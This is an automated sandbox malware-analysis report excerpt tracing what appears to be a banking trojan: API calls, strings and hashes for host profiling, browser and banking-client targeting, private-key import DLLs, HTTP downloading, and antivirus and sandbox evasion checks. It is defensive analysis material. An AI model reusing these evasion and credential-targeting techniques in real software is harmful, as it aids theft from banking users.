IsWow64Process, xrefs: 02C85B7C
\iexplore.exe, xrefs: 02C85BD4
\clmain.exe, xrefs: 02C86116
\cbsmain.dll, xrefs: 02C86104
kernel32.dll, xrefs: 02C85B64
\javaws.exe, xrefs: 02C85C16
\explorer.exe, xrefs: 02C85CF2
\java.exe, xrefs: 02C85BEA
\ipc_full.exe, xrefs: 02C860E0
\tbb-firefox.exe, xrefs: 02C85CC6
\maxthon.exe, xrefs: 02C85C58
ntdll.dll, xrefs: 02C86198
--no-sandbox, xrefs: 02C85949
\svchost.exe, xrefs: 02C85BAD
\rundll32.exe, xrefs: 02C8613A
\safari.exe, xrefs: 02C85C9A
\mnp.exe, xrefs: 02C85C84
\intpro.exe, xrefs: 02C860F2
\notepad.exe, xrefs: 02C8614C
RtlFreeHeap, xrefs: 02C86193
80f507eba, xrefs: 02C8620A
\isclient.exe, xrefs: 02C860CA
80F503A7a, xrefs: 02C85AE6
80F500EBa, xrefs: 02C85A53
C:\Users\user\AppData\Roaming\, xrefs: 02C858A3, 02C858B6
\core.exe, xrefs: 02C86128

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$Thread$CreateInformation$Close$AddressHeapProcProcess$Current$ModuleUsermemset$CriticalInitializeMutexPathSection$AdminBackslashCommandDesktopFileLibraryLineLoadNameObjectOpenQueryValueVolume_snprintflstrcmpi$AllocDirectoryEnvironmentExceptionFolderFreeHandlerSystemValidateVariableVectoredWindowslstrcpyn
String ID: --no-sandbox$ --no-sandbox$80F500EBa$80F503A7a$80f507eba$C:\Users\user\AppData\Roaming\$IsWow64Process$RtlFreeHeap$\avant.exe$\cbsmain.dll$\chrome.exe$\clmain.exe$\core.exe$\explorer.exe$\firefox.exe$\iexplore.exe$\intpro.exe$\ipc_full.exe$\isclient.exe$\java.exe$\javaw.exe$\javaws.exe$\maxthon.exe$\mnp.exe$\netscape.exe$\notepad.exe$\opera.exe$\rundll32.exe$\safari.exe$\svchost.exe$\tbb-firefox.exe$kernel32.dll$ntdll.dll
API String ID: 558288730-518451523
Opcode ID: 433a2c88ba9fa3a6621de861ef5f472e0328b5e2094a34a13b85b5ead02266c2
Instruction ID: 853c4c066e2a5854523634396e0bfcaf0d9341f37bcf380c5529ae26b42d1a77
Opcode Fuzzy Hash: 433a2c88ba9fa3a6621de861ef5f472e0328b5e2094a34a13b85b5ead02266c2
Instruction Fuzzy Hash: 4F52E971E81355B6FB21E7A08D46FAE77AC9F84B48F618594F901B70C1DBF0DB048AA4

Function 02C74920 Relevance: 135.3, APIs: 56, Strings: 21, Instructions: 596
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,?,75AF5CE0), ref: 02C74A4E
WriteFile.KERNEL32(00000000,{BotVer: ,00000009,02C73EFD,00000000,02CCB0C4), ref: 02C74A76
WriteFile.KERNEL32(00000000,4.0.1,00000005,02C73EFD,00000000), ref: 02C74A88
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74A9A
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C74AA9
WriteFile.KERNEL32(00000000,{Process: ,0000000A,02C73EFD,00000000), ref: 02C74ABF
WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74AEA
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74AFC
GetUserNameA.ADVAPI32(?,00000104), ref: 02C74B09
WriteFile.KERNEL32(00000000,{Username: ,0000000B,02C73EFD,00000000), ref: 02C74B1F
WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74B4A
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74B5C
GetEnvironmentVariableA.KERNEL32(PROCESSOR_IDENTIFIER,?,00000104), ref: 02C74B6F
WriteFile.KERNEL32(00000000,{Processor: ,0000000C,02C73EFD,00000000), ref: 02C74B85
WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74BAA
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74BBC
GetSystemDefaultLangID.KERNEL32 ref: 02C74BBE
memset.MSVCRT ref: 02C74BD7
WriteFile.KERNEL32(00000000,{Language: ,0000000B,02C73EFD,00000000), ref: 02C74C45
WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74C6A
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74C7C
GetDC.USER32(00000000), ref: 02C74C81
GetDeviceCaps.GDI32(00000000), ref: 02C74C88
GetSystemMetrics.USER32(00000001), ref: 02C74C91
GetSystemMetrics.USER32(00000000), ref: 02C74C99
_snprintf.MSVCRT ref: 02C74CB1
WriteFile.KERNEL32(00000000,{Screen: ,00000009,02C73EFD,00000000), ref: 02C74CCA
WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74CEF
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74D01
GetDateFormatA.KERNEL32(00000409,00000000,00000000,dd:MMM:yyyy,?,00000104), ref: 02C74D1B
WriteFile.KERNEL32(00000000,{Date: ,00000007,02C73EFD,00000000), ref: 02C74D31
WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74D5A
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74D6C
GetTimeFormatA.KERNEL32(00000409,00000000,00000000,HH:mm:ss,?,00000104), ref: 02C74D86
WriteFile.KERNEL32(00000000,{Local time: ,0000000D,02C73EFD,00000000), ref: 02C74D9C
WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74DC1
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74DD3
GetTimeZoneInformation.KERNELBASE(?), ref: 02C74DDC
_snprintf.MSVCRT ref: 02C74E3D
WriteFile.KERNEL32(00000000,{GMT: ,00000006,02C73EFD,00000000), ref: 02C74E56
WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74E7B
WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74E8D
WriteFile.KERNEL32(00000000,{Uptime: ,00000009,02C73EFD,00000000), ref: 02C74E9F
WriteFile.KERNEL32(00000000,00000000,?,02C73EFD,00000000), ref: 02C74ECF
WriteFile.KERNEL32(00000000,02CB3B50,00000002,?,00000000), ref: 02C74EE1
GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02C74EEF
WriteFile.KERNEL32(00000000,{Windows directory: ,00000014,?,00000000), ref: 02C74F05
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 02C74F2A
WriteFile.KERNEL32(00000000,02CB3B50,00000002,?,00000000), ref: 02C74F3C
WriteFile.KERNEL32(00000000,{Administrator: ,00000010,?,00000000), ref: 02C74F4E
IsUserAnAdmin.SHELL32 ref: 02C74F50
IsUserAnAdmin.SHELL32 ref: 02C74F73
WriteFile.KERNEL32(00000000,true,02C73EFD,?,00000000), ref: 02C74F95
WriteFile.KERNEL32(00000000,02CB3B50,00000002,?,00000000), ref: 02C74FA7
GetHandleInformation.KERNEL32(00000000,02C73EFD,00000000,00000000), ref: 02C74FCD
CloseHandle.KERNEL32(00000000), ref: 02C74FDE

Strings

{Processor: , xrefs: 02C74B7C
{Language: , xrefs: 02C74C3C
{Windows directory: , xrefs: 02C74EFC
HH:mm:ss, xrefs: 02C74D7A
{Uptime: , xrefs: 02C74E96
PROCESSOR_IDENTIFIER, xrefs: 02C74B6A
{BotVer: , xrefs: 02C74A6D
{Process: , xrefs: 02C74AB6
false, xrefs: 02C74F5F, 02C74F82, 02C74F90
true, xrefs: 02C74F58, 02C74F7B
{Administrator: , xrefs: 02C74F45
{Date: , xrefs: 02C74D28
%c%d:%02d, xrefs: 02C74E32
XXX, xrefs: 02C74C47, 02C74C5E
{Local time: , xrefs: 02C74D93
4.0.1, xrefs: 02C74A7F
dd:MMM:yyyy, xrefs: 02C74D0F
%dx%d@%d, xrefs: 02C74CA0
{GMT: , xrefs: 02C74E4D
{Screen: , xrefs: 02C74CC1
{Username: , xrefs: 02C74B16

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: File$Write$System$User$AdminFormatHandleInformationMetricsNameTime_snprintf$CapsCloseCreateDateDefaultDeviceDirectoryEnvironmentLangModuleVariableWindowsZonememset
String ID: %c%d:%02d$%dx%d@%d$4.0.1$HH:mm:ss$PROCESSOR_IDENTIFIER$XXX$dd:MMM:yyyy$false$true${Administrator: ${BotVer: ${Date: ${GMT: ${Language: ${Local time: ${Process: ${Processor: ${Screen: ${Uptime: ${Username: ${Windows directory:
API String ID: 113499719-3279427369
Opcode ID: 9054499f4fa11f2e0f0240a636c2edd1570574cf3f9fc0559508981e89958fbe
Instruction ID: b2fa6146e9022246d4178943fe94a64be024fc2ff43f79197264d154892d7f77
Opcode Fuzzy Hash: 9054499f4fa11f2e0f0240a636c2edd1570574cf3f9fc0559508981e89958fbe
Instruction Fuzzy Hash: 1D226DB1D40218FEEB16DFA4CC89EEEBB7DEF45700F10459AB246A7141E6B45B48CB60

Function 02C844F0 Relevance: 110.5, APIs: 42, Strings: 21, Instructions: 296
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 02C84511
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,7622F550,75AF7390,76230A60), ref: 02C84527
AddVectoredExceptionHandler.KERNEL32(00000001,02C73940), ref: 02C84534
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02C8454F
CreateThread.KERNEL32(00000000,00000000,Function_00019230,00000000,00000000,00000000), ref: 02C84569
GetHandleInformation.KERNEL32(00000000,?), ref: 02C84581
CloseHandle.KERNEL32(00000000), ref: 02C84592
InitializeCriticalSection.KERNEL32(02CBD870), ref: 02C845A3
LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C845B9
GetProcAddress.KERNEL32(00000000,GetClipboardData), ref: 02C845CB
LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C845EA
GetProcAddress.KERNEL32(00000000,TranslateMessage), ref: 02C845F8
GetProcAddress.KERNEL32(00000000,GetMessageA), ref: 02C84614
GetProcAddress.KERNEL32(00000000,GetMessageW), ref: 02C84630
InitializeCriticalSection.KERNEL32(02CBD858), ref: 02C8464B
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 02C84652
GetProcAddress.KERNEL32(00000000,ZwQuerySystemInformation), ref: 02C84662
GetCurrentProcessId.KERNEL32(00000000,02C76A30,02CC7BA8), ref: 02C84678
GetCurrentThreadId.KERNEL32 ref: 02C84693
GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02C846A8
GetUserObjectInformationA.USER32(00000000), ref: 02C846AF
lstrcmpiA.KERNEL32(?,80f507eba), ref: 02C846C1
LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C846DB
GetProcAddress.KERNEL32(00000000,SetThreadDesktop), ref: 02C846EB
GetCurrentProcessId.KERNEL32(00000000,02C7ABD0,02CBCC94), ref: 02C84701
GetCurrentThreadId.KERNEL32 ref: 02C84710
GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02C84725
GetUserObjectInformationA.USER32(00000000), ref: 02C8472C
lstrcmpiA.KERNEL32(?,80f507eba), ref: 02C8473E
StrStrIA.SHLWAPI(00000000,java), ref: 02C84772
StrStrIA.SHLWAPI(00000000,.exe), ref: 02C84784
LoadLibraryExA.KERNEL32(ws2_32.dll,00000000,00000000), ref: 02C8479D
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 02C847AB
GetProcAddress.KERNEL32(00000000,gethostbyname), ref: 02C847C7
GetProcAddress.KERNEL32(00000000,inet_addr), ref: 02C847E3
InitializeCriticalSection.KERNEL32(02CBD840), ref: 02C847FE
LoadLibraryExA.KERNEL32(sks2xyz.dll,00000000,00000000), ref: 02C8482B
GetProcAddress.KERNEL32(00000000,vb_pfx_import), ref: 02C84837
LoadLibraryExA.KERNEL32(FilialRCon.dll,00000000,00000000), ref: 02C84856
GetProcAddress.KERNEL32(00000000,RCN_R50Buffer), ref: 02C84862
LoadLibraryExA.KERNEL32(mespro.dll,00000000,00000000), ref: 02C84881
GetProcAddress.KERNEL32(00000000,AddPSEPrivateKeyEx), ref: 02C8488D

Strings

ntdll.dll, xrefs: 02C8464D
SetThreadDesktop, xrefs: 02C846E5
FilialRCon.dll, xrefs: 02C84851
vb_pfx_import, xrefs: 02C84831
.exe, xrefs: 02C84778
RCN_R50Buffer, xrefs: 02C8485C
user32.dll, xrefs: 02C845B4, 02C845E5, 02C846D6
mespro.dll, xrefs: 02C8487C
GetMessageA, xrefs: 02C8460E
80f507eba, xrefs: 02C846B5, 02C84732
AddPSEPrivateKeyEx, xrefs: 02C84887
ws2_32.dll, xrefs: 02C84798
inet_addr, xrefs: 02C847DD
gethostbyname, xrefs: 02C847C1
sks2xyz.dll, xrefs: 02C84826
TranslateMessage, xrefs: 02C845F2
GetMessageW, xrefs: 02C8462A
GetClipboardData, xrefs: 02C845C5
java, xrefs: 02C84766
getaddrinfo, xrefs: 02C847A5
ZwQuerySystemInformation, xrefs: 02C8465C

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Thread$Current$CriticalHandleInformationInitializeSection$CreateDesktopModuleObjectProcessUserlstrcmpi$CloseExceptionFileHandlerMutexNameVectoredmemset
String ID: .exe$80f507eba$AddPSEPrivateKeyEx$FilialRCon.dll$GetClipboardData$GetMessageA$GetMessageW$RCN_R50Buffer$SetThreadDesktop$TranslateMessage$ZwQuerySystemInformation$getaddrinfo$gethostbyname$inet_addr$java$mespro.dll$ntdll.dll$sks2xyz.dll$user32.dll$vb_pfx_import$ws2_32.dll
API String ID: 1248150503-1245504843
Opcode ID: 3e045128c3dfa6dc7d30af0499c5a6ae0fd0e9991d34ddc30372aca257b1a052
Instruction ID: 30f4eea14a0cac2fd906ffe96af7effc306e659fab77b5ce78b910cc3d23f5b5
Opcode Fuzzy Hash: 3e045128c3dfa6dc7d30af0499c5a6ae0fd0e9991d34ddc30372aca257b1a052
Instruction Fuzzy Hash: 9591A071BC035676FA2677B09C4AF9A676D9F80F49F1186A0F502F3080DBA5E6018A79

Function 02C839C0 Relevance: 72.1, APIs: 33, Strings: 8, Instructions: 323
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 02C839F2
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),00000000,00000000,00000000,04000000), ref: 02C83A7E
InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C83A9F
HttpOpenRequestA.WININET(00000000,GET,00000000,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83AD5
HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02C83B0B
HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02C83B1A
_snprintf.MSVCRT ref: 02C83B38
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02C83B50
HttpSendRequestA.WININET(00000000,00000000,00000000,02C76406,?), ref: 02C83B5F
HttpQueryInfoA.WININET(00000000,20000013,00000000,00000004,?), ref: 02C83B7F
CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C83BB3
GetProcessHeap.KERNEL32(00000008,00001010), ref: 02C83BD7
RtlAllocateHeap.NTDLL(00000000), ref: 02C83BDA
memset.MSVCRT ref: 02C83BF2
InternetReadFile.WININET(00000000,00000000,00001000,00000000), ref: 02C83C0F
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02C83C30
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C39
HeapValidate.KERNEL32(00000000), ref: 02C83C3C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C49
HeapFree.KERNEL32(00000000), ref: 02C83C4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C5A
HeapValidate.KERNEL32(00000000), ref: 02C83C5D
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C6A
HeapFree.KERNEL32(00000000), ref: 02C83C6D
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C83C83
CloseHandle.KERNEL32(00000000), ref: 02C83C94

Strings

POST, xrefs: 02C83ABD, 02C83AD3
GET, xrefs: 02C83AB6
Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02C83A79
Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02C83B27
Content-Type: application/x-www-form-urlencoded, xrefs: 02C83B05
Referer: http://www.google.com, xrefs: 02C83B14
HTTP/1.0, xrefs: 02C83ACD
6b8e26743fcf62a2, xrefs: 02C83B22

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Http$ProcessRequest$FileHeadersInternet$FreeHandleOpenValidatememset$AllocateCloseConnectCreateInfoInformationQueryReadSendWrite_snprintf
String ID: 6b8e26743fcf62a2$Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com
API String ID: 2233330183-4291293516
Opcode ID: 2699ca759f0f75da8cde7b86268e7c4c50e21c9675503aa4004739548e5a31b0
Instruction ID: e9e0518cfa772f2fcc0f91f2f8754f9ff787320be5ffe8050f190806518866ff
Opcode Fuzzy Hash: 2699ca759f0f75da8cde7b86268e7c4c50e21c9675503aa4004739548e5a31b0
Instruction Fuzzy Hash: A6B1FC71A402946BDB11EF64DC89FEF7B78EF48F18F104598FA05A7180D770AA44CBA4

Function 02C73940 Relevance: 65.3, APIs: 24, Strings: 13, Instructions: 538
threadmemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C739EC
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C73A17
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C73A3E
VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004,?), ref: 02C73A9F
SymSetOptions.DBGHELP(00000006), ref: 02C73AB4
GetCurrentProcess.KERNEL32(00000000,00000001), ref: 02C73AC4
SymInitialize.DBGHELP(00000000), ref: 02C73AC7
GetCurrentProcess.KERNEL32(?,00000000), ref: 02C73B05
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,main,00000000,?), ref: 02C73B90
_snprintf.MSVCRT ref: 02C73BAE
GetCurrentThread.KERNEL32 ref: 02C73C44
ZwQueryInformationThread.NTDLL(00000000), ref: 02C73C4B
GetCurrentProcess.KERNEL32(?,?), ref: 02C73C88

Strings

ExceptionAddress = , xrefs: 02C73AD4
scr.bmp, xrefs: 02C73F58
ExceptionCode = 0x%08XLast error: 0x%08XContext:Eip = 0x%08X Eax = 0x%08X Ebx = 0x%08XEcx = 0x%08X Edx = 0x%08X Ebp = 0x%08XEsp = 0x%08X Esi = 0x%08X Edi = 0x%08XEFlags = 0x%08XMain module:%s 0x%08X-0x%08X, xrefs: 02C73BA7
DEBUG, xrefs: 02C73FAD
csm, xrefs: 02C73965
main, xrefs: 02C73B57
Self exception = TRUE, xrefs: 02C73BF8
CallStack:, xrefs: 02C73CBD
HH;mm;ss, xrefs: 02C73E12
sysinfo.log, xrefs: 02C73ED8
debug_%s_%s.log, xrefs: 02C73E34
dd;MMM;yyyy, xrefs: 02C73DED
ThreadStart = , xrefs: 02C73C60

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CurrentQueryVirtual$Process$Thread$AllocErrorInformationInitializeLastOptions_snprintf
String ID: CallStack:$ExceptionCode = 0x%08XLast error: 0x%08XContext:Eip = 0x%08X Eax = 0x%08X Ebx = 0x%08XEcx = 0x%08X Edx = 0x%08X Ebp = 0x%08XEsp = 0x%08X Esi = 0x%08X Edi = 0x%08XEFlags = 0x%08XMain module:%s 0x%08X-0x%08X$Self exception = TRUE$ThreadStart = $DEBUG$ExceptionAddress = $HH;mm;ss$csm$dd;MMM;yyyy$debug_%s_%s.log$main$scr.bmp$sysinfo.log
API String ID: 3375037927-1369666974
Opcode ID: f59701b2f699932ed3d84dda879ddc91e43f7ad522b8dade66d9497286ee14aa
Instruction ID: 506229e922478522f59c4e797cef5f4b2d10b56b102a1ea82a7b136c19998999
Opcode Fuzzy Hash: f59701b2f699932ed3d84dda879ddc91e43f7ad522b8dade66d9497286ee14aa
Instruction Fuzzy Hash: 6622C470E406859FDB15CF68C894BAABBF5FF89300F2486D9E949EB340D731AA45CB50

Function 00402C10 Relevance: 64.9, APIs: 28, Strings: 9, Instructions: 157
librarywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(user32.dll), ref: 00402C21
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00402C35

Part of subcall function 00403900: RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403940
Part of subcall function 00403900: RegQueryValueExA.KERNEL32(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403965
Part of subcall function 00403900: RegCloseKey.ADVAPI32(?), ref: 00403973
Part of subcall function 00403900: GetUserNameA.ADVAPI32(?,00000104), ref: 004039B9
Part of subcall function 00403900: CharUpperA.USER32(?), ref: 004039C6
Part of subcall function 00403900: strstr.MSVCRT ref: 004039DE
Part of subcall function 00403900: strstr.MSVCRT ref: 004039F7
Part of subcall function 00403900: strstr.MSVCRT ref: 00403A10
Part of subcall function 00403900: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A29
Part of subcall function 00403900: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4D
Part of subcall function 00403900: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A87

ExitProcess.KERNEL32 ref: 00402C46
FindWindowA.USER32(____AVP.Root,00000000), ref: 00402C5D
GetTickCount.KERNEL32 ref: 00402C69
PostMessageA.USER32(00000000,00000466,00010001,00000000), ref: 00402C7B
IsUserAnAdmin.SHELL32 ref: 00402C9B
ExitProcess.KERNEL32 ref: 00402CAC

Strings

IsWow64Process, xrefs: 00402CDD
____AVP.Root, xrefs: 00402C58
explorer.exe, xrefs: 00402DC2, 00402DC7, 00402E24, 00402E29
kernel32.dll, xrefs: 00402CC5
user32.dll, xrefs: 00402C1C
\apppatch\, xrefs: 00402D06, 00402D56
winlogon.exe, xrefs: 00402DBB, 00402E1D
Fri Jun 17 05:52:09 20112, xrefs: 00402D86, 00402D96, 00402DE8, 00402DF8
Pn7w, xrefs: 00402DB1, 00402E13

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: Namestrstr$ExitFileModuleProcessUser$AdminCharCloseCountDirectoryFindInformationLibraryLoadMessageOpenPostQuerySystemTickUpperValueVolumeWindowWindows
String ID: Fri Jun 17 05:52:09 20112$IsWow64Process$Pn7w$\apppatch\$____AVP.Root$explorer.exe$kernel32.dll$user32.dll$winlogon.exe
API String ID: 3353599405-700788231
Opcode ID: 3c08cf3795012a32fe98e21dd2af2de8b387599ae1b272b10eb404c49b26478c
Instruction ID: a8c301d2fd554ff8a4c2a18cdd62ad6e0f77d76d1eb59a281ca00d7aee5c603c
Opcode Fuzzy Hash: 3c08cf3795012a32fe98e21dd2af2de8b387599ae1b272b10eb404c49b26478c
Instruction Fuzzy Hash: FC515EB1640201A7EB1077B1EF0EB5B3668AF94B45F10413ABB05B61E1EBFC8D4586AD

Function 00403900 Relevance: 47.4, APIs: 15, Strings: 12, Instructions: 134
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403940
RegQueryValueExA.KERNEL32(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403965
RegCloseKey.ADVAPI32(?), ref: 00403973
RegCloseKey.ADVAPI32(?), ref: 0040397F
GetUserNameA.ADVAPI32(?,00000104), ref: 004039B9
CharUpperA.USER32(?), ref: 004039C6
strstr.MSVCRT ref: 004039DE
strstr.MSVCRT ref: 004039F7
strstr.MSVCRT ref: 00403A10
GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A29
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4D
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A87
StrStrIA.SHLWAPI(?,\sand-box\), ref: 00403A9F
StrStrIA.SHLWAPI(?,\cwsandbox\), ref: 00403AB1
StrStrIA.SHLWAPI(?,\sandbox\), ref: 00403AC3

Strings

VIRUSCLONE, xrefs: 00403A0A
SystemBiosVersion, xrefs: 0040395B
\sandbox\, xrefs: 00403AB7
U, xrefs: 004039A0
E, xrefs: 0040398E
Q, xrefs: 00403985
\sand-box\, xrefs: 00403A93
HARDWARE\DESCRIPTION\System, xrefs: 00403915
M, xrefs: 00403997
\cwsandbox\, xrefs: 00403AA5
SANDBOX, xrefs: 004039D8
MALNETVM, xrefs: 004039F1

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: strstr$CloseName$CharDirectoryFileInformationModuleOpenQuerySystemUpperUserValueVolumeWindows
String ID: E$HARDWARE\DESCRIPTION\System$M$MALNETVM$Q$SANDBOX$SystemBiosVersion$U$VIRUSCLONE$\cwsandbox\$\sand-box\$\sandbox\
API String ID: 1431998568-3499098167
Opcode ID: 3b908be20d57cd3dc64100d28935cd3b8a2d2fe8bb1a9ff6224eef881bebb134
Instruction ID: c92bd0b18e501642bc8da1a15e04f066bbee5c1b1fab61bbe3854025ca4dfe5f
Opcode Fuzzy Hash: 3b908be20d57cd3dc64100d28935cd3b8a2d2fe8bb1a9ff6224eef881bebb134
Instruction Fuzzy Hash: 8741D8B1A50218A7DB20DB90CD4AFEF7B7C9B94705F1440AAE744B51C0D7B99B84CFA8

Function 02C888F0 Relevance: 43.9, APIs: 23, Strings: 2, Instructions: 161
threadnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 02C8895E
